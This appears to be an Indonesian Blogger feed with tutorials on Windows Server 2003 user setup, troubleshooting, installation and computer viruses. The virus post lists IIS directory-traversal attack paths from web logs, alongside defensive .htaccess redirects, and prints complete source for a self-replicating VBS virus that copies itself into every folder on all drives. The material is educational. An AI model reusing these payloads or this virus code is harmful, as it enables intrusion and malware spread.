tag:blogger.com,1999:blog-38984452548999607202024-03-12T18:09:59.467-07:00Teknik Komputer dan JaringanWahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.comBlogger26125tag:blogger.com,1999:blog-3898445254899960720.post-55738197722561218372009-01-14T19:30:00.000-08:002009-01-14T19:39:28.836-08:00Membuat User<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sstraCTWhNA/SW6uIvqTJ5I/AAAAAAAAAGg/5JJj3vFatOU/s1600-h/thumb.php.jpeg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://2.bp.blogspot.com/_sstraCTWhNA/SW6uIvqTJ5I/AAAAAAAAAGg/5JJj3vFatOU/s200/thumb.php.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5291358077462980498" /></a><br /><br />File Server JA-FILE sudah siap untuk menampung data-data user. Sekarang kita akan meng-create User agar bisa logon ke jaringan jakarta.darinol dan dapat menyimpan data di server.<br /><br /><span class="fullpost"><br /><br />Sebagai contoh kita akan membuat user bernama Esti Mulyani yang bekerja di department Finance. Berarti di sini kita harapkan setelah Esti Mulyani logon pada komputer, dia mempunyai Home Folder sendiri, dapat mengakses (Read dan Write) folder Finance di driver i: dan bisa mengakses (Read dan Write) folder Public di drive j:, dan diharapkan Esti Mulyani tidak bisa mengakses folder-folder lain.<br /><br />Buka Active Drectory Users and Computer, buka OU Jakarta Office. Pada bagian kosong click kanan lalu pilih New > User. Pada New Object - User, isi First Name: Esti dan Last name: Mulyani.<br /><br />Untuk User logon name isi emulyani. Penulis membuat aturan penamaan ini berdasar huruf awal nama depan dan nama belakang user, agar memudahkan administrator untuk maintenance user nantinya.<br /><br />Ok, click next. Pada window selanjutnya isi Password dan Confirm Password. Untuk default Microsoft Windows Server 2003 mempunyai policy untuk Password yaitu password hendaknya memiliki huruf besar, huruf kecil, angka dan minimal tujuh karakter. Kita di sini mengambil contoh dengan mengisi password: Password1234, sesuai kan� :p<br /><br />Lalu check Password never expired agar Microsoft Windows Server 2003 tidak memaksa user untuk mengganti password setiap dua bulan sekali. Click next lalau finish.<br /><br />Eitss� lom selesai..<br /><br />Click kanan pada object user Esti Mulyani lalu pilih Properties. Pada window Esti Mulyani Properties click tab profile. Disinilah kita membuat Home Folder untuk user. Pada bagian Home Folder pilih Connect lalu pilih drive H: to \\ja-file\users\%username%<br /><br />Click Apply, maka home folder akan berubah menyesuaikan nama account user.<br /><br />Sekarang kita akan memasukkan user ini ke dalam grup department-nya yaitu Finance. Click tab Member of lalu click Add. Pada window Select Group isi Finance lalu click Check Names dan Ok lalu akan kembali ke tab Member of, click Apply.<br /><br /><br /><span style="font-weight:bold;">Testing Login pada Komputer Client</span><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sstraCTWhNA/SW6vGhrsaZI/AAAAAAAAAGo/sFEoNib44Yc/s1600-h/1.jpeg"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/_sstraCTWhNA/SW6vGhrsaZI/AAAAAAAAAGo/sFEoNib44Yc/s200/1.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5291359138862623122" /></a><br /><br />Pada window login di komputer client isilah username emulyani, password Password1234 dan Log on to pilih Jakarta lalu enter. Ketika login berhasil dan anda sudah masuk Start Menu, click kanan-lah pada tombol Start lalu pilih explore. Maka akan terbuka Windows Explorer. Pastikan pada My Computer muncul drive H:, I: dan J:<br /><br />Setelah itu masuklah ke folder-folder yang bisa diakses, cobalah copy dan delete file pada folder-folder tersebut. Untuk user Esti Mulyani yang kita harapkan adalah user ini dapat mengakses drive H:, I:\Departments\Support Division\Finance dan drive J:.<br /><br />Sedangkan bila mengakses folder-folder lain maka akan muncul Access Denied.<br /><br /><br /><br />Contact: info [at] darinol [dot] net | Iklan/Advertisment | CSS and XHTML<br />©Copyright 2007 darinol.net - articles and tutorials<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-85828302589597246552009-01-07T21:55:00.000-08:002009-01-07T22:02:57.317-08:00Troubleshooting Windows 2003server<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWWRvqB6T1I/AAAAAAAAAFk/jUtCzpBgO9g/s1600-h/01.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 320px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWWRvqB6T1I/AAAAAAAAAFk/jUtCzpBgO9g/s320/01.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288793585338699602" /></a><br /><br />Lebih mudah, lebih cepat, dan lebih hemat biaya. Patokan dasar untuk mencari solusi ini juga berlaku bagi Microsoft. Bagian kontrol kualitas melakukan penghematan. Pemrogram lihai dari berbagai negeri antah-berantah masuk menyingkirkan para konsultan yang mahal. Kode-kode mereka kemudian digabungkan dengan program utama di Redmond secara cepat melalui Copy & Paste. Namun, kurangnya kecermatan dapat menyebabkan system-crash, gagal berfungsi, dan menayangkan bluescreen di PC pengguna.<br /><br /><span class="fullpost"><br /><br /><br />Di sini para pakar rekrutan CHIP berperan. Tanpa kenal lelah mereka menyisir Whitepaper pengembang Windows dan menyelami Microsoft Knowledge Base serta sumber-sumber lainnya untuk melacak bug-bug yang berbahaya. Ikut lah dengan kami ke sudut terdalam sistem operasi Anda dan bebaskan Windows XP dari kesalahan program yang mengganggu dan berbahaya.<br /><br /><br /><br /><br /><br />1. Update menyebabkan crash<br />Windows-patch yang cacat atau rusak menyebabkan bluescreen. Biasanya keterangannya dimulai dengan kata-kata 'STOP: 0x800….' yang membingungkan. Di sini tool gratis 'Qfecheck' dari Microsoft dapat membantu. Ia dapat mengidentifikasi penyebabnya dan menunjukkan sebuah artikel dalam Microsoft Knowledge Base yang menjelaskan bug tersebut secara rinci. <br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWSDu41Y6I/AAAAAAAAAFs/SvEr60Zpwo8/s1600-h/02.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 184px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWSDu41Y6I/AAAAAAAAAFs/SvEr60Zpwo8/s320/02.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288793930240189346" /></a><br /><br />Untuk memperoleh tool Qfecheck, masuk ke website Microsoft dan ketikkan kode berikut ke dalam kolom Search di kanan atas. (282784)<br /><br />Anda akan mendapatkan link untuk men-download 'Qfecheck.exe'. Perhatikan, tersedia versi yang berbeda untuk Windows XP dan 2000. Jangan salah men-download. Setelah download selesai, klik 'Start | Run' dan masuk ke command prompt dengan perintah berikut. (cmd)<br /><br />Selanjutnya, ketikkan perintah berikut untuk memeriksa hotfix dan update yang terdapat pada sistem Windows Anda. (qfecheck•/v)<br /><br />Ketika tool menemukan update yang rusak atau berisi bug, Anda akan diberi petunjuk 'This hotfix should be reinstalled'. Di depannya ada sebuah kode, misalnya 'KB8884883'. Bila Anda memasukkan kode ini ke dalam kolom Search di website Microsoft, Anda akan sampai ke sebuah artikel dalam Knowledge Base mengenai fungsi yang bersangkutan, penyebab kesalahan, dan solusi masalahnya.<br /><br />2. Kesalahan 'Generic Host Process'<br />Bila tool Qfecheck tidak menemukan update yang berisi bug, tidak berarti semuanya baik-baik saja. Bahkan, setelah melakukan instalasi security-update 'KB873333' dengan benar sesuai petunjuk Microsoft dalam Security Bulletin MS-05-012, Windows malah crash dengan laporan 'Generic Host Process telah menyebabkan sebuah kesalahan'. Solusinya adalah sebuah patch yang memperbaiki bagian yang bersangkutan.<br /><br />Untuk menemukan Windows-Update yang tepat, masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb894391)<br /><br />Download 'Update for Windows XP' yang ditampilkan. Setelah instalasi, biasanya laporan kesalahan tidak lagi muncul. Selain itu, patch yang diberikan ini juga menambahkan perlindungan dari serangan hacker.<br /><br />3. Nero 6 membakar terlalu lambat<br />Akibat adanya bug dalam SP2 untuk Windows XP, tool 'InCD' dalam paket Nero 6 membakar DVD dual-layer jauh lebih lambat dibandingkan program lainnya. Kesalahan ini timbul pada semua versi hingga versi 4.3.7.3. Sebuah patch dari Nero menawarkan solusinya. <br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWWTY1FyJJI/AAAAAAAAAF0/bwAmB7fr90Y/s1600-h/03.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 147px;" src="http://1.bp.blogspot.com/_pcXAY3J6kyY/SWWTY1FyJJI/AAAAAAAAAF0/bwAmB7fr90Y/s320/03.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288795392193995922" /></a><br /> <br />Download 'Paket Update 3' dari www.nero.com/nero6/eng/nero-up.php dan instalasikan. Sebagai alternatif, Anda juga dapat meng-upgrade Nero ke versi 7 yang berisi tool 'InCD' versi 5. Tentu saja, untuk layanan upgrade ini ditarik biaya. Microsoft sendiri belum menyingkirkan kesalahan yang terdapat dalam cache-management SP2, karena hanya berefek pada program non-Microsoft seperti Nero.<br /><br />4. Popup-Blocker memblokir update<br />Sulit dipercaya, tetapi memang terjadi. Popup-blocker yang terinstalasi dalam SP2 tidak hanya melindungi komputer Anda dari perusahaan marketing yang jahat, tetapi juga dari Windows-Update. Bug ini muncul dengan laporan kesalahan 'HTTP-Bug 500 - Internal Server Bug, 0x8dd0010'. Ia muncul begitu Anda mengklik sebuah hyperlink di website Windows-Update. <br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWT29okC_I/AAAAAAAAAF8/QgDT7KrutUg/s1600-h/04.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 292px; height: 320px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWT29okC_I/AAAAAAAAAF8/QgDT7KrutUg/s320/04.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288795909883431922" /></a><br /><br />Untuk menyingkirkan bug tersebut, jalankan Internet Explorer dan pilih 'Tools | Internet Options | Privacy | Popup-Blocker Settings'. Ketikkan URL 'http://v5.windowsupdate.microsoft.com' ke dalam kolom teks, lalu klik 'Add'. Tutup jendela setting.<br /><br />5. TV-playback bergoyang<br />Akibat bug lainnya dalam SP2 untuk Windows XP, gambar bergoyang dan terjadi frame-drop pada playback acara TV melalui filter Direct-Show. Kesalahan ini tidak hanya terjadi pada playback Livestream, tetapi juga file video yang sudah tersimpan di hard disk. Solusinya ditawarkan oleh patch dari Microsoft. <br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWUS-IzVCI/AAAAAAAAAGE/3T8OOwrPh8o/s1600-h/05.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_pcXAY3J6kyY/SWWUS-IzVCI/AAAAAAAAAGE/3T8OOwrPh8o/s320/05.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288796391054988322" /></a><br /><br />Masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb896626)<br /><br />Sebelum dapat men-download patch tersebut, Microsoft akan memeriksa apakah Anda memiliki versi Windows yang sah atau tidak. Jika tidak ada masalah, Anda dapat menginstalasinya dan menonton tanpa gangguan lagi.<br /><br />6. Windows hang saat shutdown<br />Saat shutdown, SP2 untuk Windows XP memeriksa apakah semua Windows-update penting telah terinstalasi atau belum. Bila di sini terjadi kesalahan, akan timbul masalah shutdown dan muncul bluescreen dengan laporan 'STOP: 0x80248011'. Bila demikian, Anda harus memperbarui database yang berisi semua info relevan mengenai update yang telah terinstalasi.<br /><br />Untuk mengatasi masalah di atas, klik 'Start | Run' dan ketikkan kode berikut. (services•msc)<br /><br />Dalam jendela 'Services', klik kanan 'Automatic Updates' dan pilih 'Stop'. Sekarang, jalankan Windows Explorer dan masuk ke folder Windows. Ubah nama folder 'SoftwareDistribution' menjadi 'SoftwareDistribution.alt'. Setelah itu, jalankan kembali layanan 'Auto-Update'. Ia akan membuat sebuah folder baru bernama 'SoftwareDistribution'. Folder lama yang telah Anda ubah namanya boleh dihapus.<br /><br />7. Proteksi copy menyebabkan crash<br />Bila Anda mendapat tampilan bluescreen dengan laporan kesalahan 'STOP: 0x0000009F Driver_Power_State_Failure', Anda adalah korban sebuah proteksi copy yang salah program. 'InterLok' dari perusahaan Pace yang antara lain ditemukan dalam produk Adobe, Pinnacle, Steinberg, dan Electronic Arts menggunakan interrupt (IRQ) yang sama dengan floppy-drive dan menimbulkan konflik resource.<br /><br />Masuk ke website www.paceap.com dan pilih entri 'Windows drivers' dalam daftar 'Download drivers'. Download file 'tpkd.zip' dan ekstrak arsip ZIP ini. Klik ganda file Setup.exe untuk menginstalasi driver. Bila masalah masih muncul, melalui 'Start | All Programs | Accessories | System Tools | System Informations', periksa apakah interrupt untuk floppy kembali digunakan atau tidak.<br /><br />Pilih 'Hardware Resources | IRQs'. 'IRQ6' hanya boleh berisi entri 'Standard Floppy-Drive Controller'. Bila ini tidak membantu, terpaksa Anda tidak menggunakan software dengan proteksi copy ini.<br /><br />8. WINDOWS SERVER 2003<br />»Profile Tidak Dikosongkan<br /><br />Sebuah bug yang buruk akan terlihat ketika Windows Server 2003 di-shutdown. Windows tidak mengosongkan semua registered-user-profiles atau tidak menggabungkannya dengan benar. Dengan demikian, proses logout akan berlangsung sangat lama karena layanan Windows menanti logout user-profile yang benar. Untuk mengetahui apakah Anda terkena bug ini atau tidak, klik 'Start | Run' dan ketikkan kode berikut. (eventvwr.msc)<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWWUwSVH1sI/AAAAAAAAAGM/lc1FHt7u1kg/s1600-h/06.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWWUwSVH1sI/AAAAAAAAAGM/lc1FHt7u1kg/s320/06.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288796894691579586" /></a><br /><br />Bila dalam kolom Event di bawah Application Anda temukan error-code 1500, 1517, atau 1524 serta keterangan sumber 'Userenv', lakukan langkah-langkah berikut.<br /><br />Download 'User Profile Hive Cleanup Service' yang tersedia di website Microsoft. Ia terinstalasi sebagai layanan baru Windows dan akan membebaskan cabang registry (hive) dari pengguna yang tidak login. Hasilnya, profile akan dikosongkan lebih cepat dan shutdown juga akan berlangsung lebih cepat.<br /><br />9. Tidak ada lingkungan jaringan<br />Folder penting seperti 'My Documents' atau 'My Computer' paling cepat diakses melalui menu Start. Sayangnya programmer Windows melupakan 'My Network Places' yang juga penting. Melalui sebuah registry-hack Anda dapat membuka tampilan folder ini. <br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWVHtaZF6I/AAAAAAAAAGU/SicmBwpbKmk/s1600-h/07.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 299px; height: 320px;" src="http://3.bp.blogspot.com/_pcXAY3J6kyY/SWWVHtaZF6I/AAAAAAAAAGU/SicmBwpbKmk/s320/07.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288797297098430370" /></a><br /><br />Klik 'Start | Run' dan ketikkan perintah berikut untuk menjalankan Registry Editor. (regedit)<br /><br />Masuk ke HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced'. Buat entri 'Start_ShowNetPlaces' melalui 'New | DWORD-Value' dan beri nilai '2'. Setelah me-restart PC, Anda dapat mengakses 'My Network Places' melalui menu Start.<br /><br />10. Crash setelah klik kanan<br />Setelah Anda mengklik kanan sebuah file EXE, semua icon di desktop menghilang atau Windows melaporkan bahwa file 'Explorer.exe' menyebabkan pelanggaran proteksi. Kesalahan ini bisa disebabkan oleh sebuah virus seperti 'Win32.Bube'. Bila Anda tidak menemukan keberadaan virus ini, mungkin sebuah perintah dalam menu konteks tidak terintegrasi dengan benar saat aplikasi diinstalasi. Bila demikian, Anda harus melepaskan link ke menu tersebut.<br /><br />Pertama, periksa dulu semua media data dengan sebuah virus-scanner aktual. Banyak forum yang menyarankan NOD32 (www.nod32.com) karena mengenali 'Win32.Bube' dengan tepat. Bila Anda tidak menemukan virus, periksa apakah Windows crash hanya bila sebuah program tertentu diklik atau bukan. Bila ya, singkirkan aplikasi yang bermasalah ini dan lakukan instalasi ulang.<br /><br />Bila masalah masih tetap terjadi, singkirkan subkey untuk link ke program yang bermasalah tadi dari registry. Untuk itu, jalankan Registry Editor dan masuk ke kunci 'HKEY_CLASSES_ROOT\exefile\shellex'. Tandai kunci ini dalam pohon direktori dan simpan melalui perintah 'File | Export'. Selanjutnya, buka 'shellex' dan hapus seluruh subkey 'ContextMenuHandlers'. Restart PC. Masalah crash biasanya akan teratasi karena semua link dengan menu konteks yang cacat telah disingkirkan.<br /><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-62804998395787654172009-01-07T21:38:00.000-08:002009-01-07T22:06:23.998-08:00Hubungan Windows 2003server dengan Virus<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OI4E-jxooBs/SWWNabPCHjI/AAAAAAAAAFI/c-F12eEN0M8/s1600-h/virus.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 128px; height: 123px;" src="http://3.bp.blogspot.com/_OI4E-jxooBs/SWWNabPCHjI/AAAAAAAAAFI/c-F12eEN0M8/s320/virus.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288788822543441458" /></a><br /><br />Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.<br /><br /><span class="fullpost"><br /><br />Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan.<br /><br />Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistim operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.<br /><br />Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut.<br /><br /><br />Tips: Mengurangi Traffic Web Server Akibat Virus/Worm<br /><br />Seringkali disebutkan dalam banyak artikel bahwa keamanan web server Microsoft IIS dijadikan bulan-bulanan virus/worm, seperti CodeRed dan Nimda, yang sering mengakibatkan kerusakan yang cukup serius atau fatal. Ada banyak artikel yang menjelaskan bagaimana menutup lubang keamanan dan cara-cara mencegah kerusakan di kemudian hari.<br /><br />Beberapa web server lain dijadikan alternatif antara lain Apache, yang notabene merupakan web server yang paling banyak digunakan, menurut data Netcraft. Memang dengan menggunakan web server Apache, kerusakan yang diakibatkan oleh virus/worm tersebut bisa ditekan atau bisa dikatakan tidak berdampak langsung. Namun perlu diperhatikan bahwa memang virus/worm tersebut tidak menyerang lubang keamanan, tapi dapat juga mengakibatkan kerusakan atau paling tidak membebani kerja web server.<br /><br />Hal ini antara lain dengan mebludaknya ukuran log file oleh sampah akibat serangan2 virus/worm. Ada kasus dimana terdapat sekitar 20000 entri dalam log selama 2 hari yang hanya diakibatkan karena aktivitas virus/worm dalam jaringan/Internet.<br /><br />Web server menjadi sangat sibuk dan berat. Ini terlebih-lebih jika situs yang bersangkutan menggunakan halaman error 404 khusus (not found). Ini berarti setiap ada akses yang diakibatkan oleh virus/worm ke situs tersebut, halaman error 404 akan ditampilkan. Bayangkan jika halaman tersebut berukuran besar. Ini akan menambah traffic web server secara percuma.<br /><br />Setelah melakukan riset pada log file Apache dan melihat banyaknya akses ke halaman error 404 tersebut (yang ikut menambah traffic web server) yang diakibatkan oleh virus/worm, ada cara untuk mengurangi traffic akibat serangan ini.<br /><br />Sebagai contoh, di bawah ini diambil dari log file, berisi URL yang sering diakses oleh virus/worm. Nampak jelas bahwa sebetulnya ini dibuat dalam rangka menyerang web server IIS.<br /><br />/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe<br />/c/winnt/system32/cmd.exe<br />/d/winnt/system32/cmd.exe<br />/scripts/..%2f../winnt/system32/cmd.exe<br />/scripts/..%c1%9c../winnt/system32/cmd.exe<br />/scripts/..%%35%63../winnt/system32/cmd.exe<br />/scripts/ .%%35c../winnt/system32/cmd.exe<br />/scripts/..%c0%2f../winnt/system32/cmd.exe<br />/scripts/..%c0%af../winnt/system32/cmd.exe<br />/MSADC/root.exe<br /><br />Pada web server Apache ada satu fitur yaitu file .htaccess, yang berperan untuk mengontrol akses ke suatu situs. File ini sangat berguna jika digunakan secara benar, namun bisa berakibat fatal jika ada kesalahan pengisian, antara lain situs tidak dapat diakses sama sekali.<br /><br />Buat terlebih dahulu file .htaccess (file teks) atau tambahkan script di bawah ini ke dalam file .htaccess jika situs anda sudah terdapat file .htaccess yang terdapat di direktori utama (root) situs anda.<br /><br />redirect /scripts http://www.to.the.black.hole<br />redirect /MSOffice http://www.to.the.black.hole<br />redirect /_vti_bin http://www.to.the.black.hole<br />redirect /MSADC http://www.to.the.black.hole<br />redirect /msadc http://www.to.the.black.hole<br />redirect /_mem_bin http://www.to.the.black.hole<br /><br />Script ini akan mencegah web server mengembalikan halaman error 404 dan menambahkan entry ke log file dengan cara membelokkan akses ke URL tertentu yang sebetulnya tidak valid. Dengan demikian traffic web server dapat diminimalkan yang berdampak beban web server menjadi lebih ringan. <br /><br />APA ITU VIRUS?<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OI4E-jxooBs/SWWO25_TQDI/AAAAAAAAAFQ/k13grFKpNjs/s1600-h/virus+2.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 128px; height: 95px;" src="http://2.bp.blogspot.com/_OI4E-jxooBs/SWWO25_TQDI/AAAAAAAAAFQ/k13grFKpNjs/s320/virus+2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5288790411346919474" /></a><br /><br />Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak ( misalnya : dengan merusak data pada dokumen ), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.<br /><br />Virus komputer umumnya dapat merusak perangkat lunak ( Software ) komputer dan tidak dapat secara langsung merusak perangkat keras ( Hardware ) komputer terutama pada sistem operasi , seperti sistem operasi berbasis Microsoft Windows ( Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Service Pack 1, Windows XP Service Pack 2 ) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer ( seperti : CPU Time, penggunaan memori ) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard), 2% lagi menyerang sistim operasi Unix, seperti : FreeBSD dan Sun Solaris.<br /><br />Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak Anti Virus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data ( Database ) virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode program untuk menghapus virus tersebut.<br /><br />Untuk mengetahui sejarah adanya virus komputer, kamu dapat membaca di Sejarah Perkembangan Malware Dunia ( Jadi ngga cuma di sekolah aja belajar sejarah ya! ;) ). Selain itu, untuk lebih memahami virus-virus lokal seperti : Brontok dan variannya, kamu bisa membacanya di sini. Beberapa triks untuk mengatasi serangan virus, dapat dilihat juga di tutorial cara mengatasi virus.<br /><br />Supaya tahu lebih jauh tentang virus komputer, virus komputer dapat dibuat dengan bahasa pemrograman komputer, seperti : Visual Basic, Visual C++, VBS, JS, DOS Command, dan bahasa pemrograman lainnya. Sebagai contoh source code virus sederhana dengan menggunakan VBS, dapat dilihat pada Virus Readme dengan source code berikut :<br /><br />‘VOVAN//SMF Readme.a<br /><br />Set A=CreateObject(”Scripting.FileSystemObject”)<br />Set B=CreateObject(”WScript.Shell”)<br />B.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon”,”shell32.dll,-152″<br />Set C=A.Drives<br />For Each Drive In C<br />If Drive.DriveType=2 Or Drive.DriveType=3 Then Onward Drive.Path &”\”<br />Next<br />Function Onward(D)<br />Set E=A.GetFolder(D)<br />Set F=E.SubFolders<br />For Each G In F<br />A.CopyFile Wscript.ScriptFullName, G&”\Readme.vbs”<br />Onward(G)<br />Next<br />End Function<br /><br />Dengan demikian, dapat diketahui bahwa virus komputer merupakan kode program yang disalahgunakan oleh programmer pembuat-nya, baik untuk kepentingan pribadi maupun untuk kepentingan lainnya, sehingga menimbulkan keresahan bagi pengguna komputer lain.<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-32643353531403562022009-01-07T21:05:00.000-08:002009-01-07T21:10:40.694-08:00Cara Instalasi Windows 2003 ServerSetup Windows Server 2003 - Bagian 1 <br /><br />Artikel ini adalah tutorial singkat mengenai instalasi Windows Server 2003 ke komputer PC untuk digunakan dalam sistem Voucha II. Jika Anda menggunakan server built-up seperti IBM xSeries atau Dell PowerEdge, anda harus baca manual instalasi yang disertakan bersama server tersebut.<br /><br /><span class="fullpost"><br />Instalasi ini dapat diterapkan pada :<br />1. Windows Server 2003 x86<br />2. Windows Server 2003 x86 Service Pack 1<br />3. Windows Server 2003 x86 R2<br />4. Windows Server 2003 x86 Service Pack 2<br />Instalasi Windows Server 2003 hampir mirip dengan instalasi Windows XP dan sama mudahnya. Hal-hal yang perlu Anda siapkan:<br />1. CD/DVD instalasi Windows Server 2003 (Enterprise Edition)<br />2. CD/DVD driver untuk motherboard, video card, sound card, ethernet card, dll.<br />3. PC dengan RAM minimum 256 (disarankan 512MB atau lebih), hardisk 20GB (disarankan 40GB atau lebih), video card true-color dengan resolusi 1024×768.<br />Baiklah mari kita mulai:<br />Boot komputer dengan CD Windows Server 2003<br />Atur konfigurasi BIOS agar melakukan boot ke CD/DVD ROM. Masukkan CD/DVD Windows Server 2003. Anda akan mendapatkan layar selamat datang di setup Windows Server 2003.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV1cP-Af2I/AAAAAAAAAB0/A4HFaf6a5MU/s1600-h/1.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV1cP-Af2I/AAAAAAAAAB0/A4HFaf6a5MU/s320/1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288762465599913826" /></a><br /><br />Tekan tombol ‘ENTER’ di keyboard. Anda akan menuju ke layar EULA<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV2iZGvRwI/AAAAAAAAAB8/TivEDFqWpUQ/s1600-h/2.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://4.bp.blogspot.com/_pcXAY3J6kyY/SWV2iZGvRwI/AAAAAAAAAB8/TivEDFqWpUQ/s320/2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5288763670643296002" /></a><br /><br />Tekan ‘F8′ di keyboard untuk persetujuan lisensi Windows Server 2003.<br /><br />Membuat Partisi<br /><br 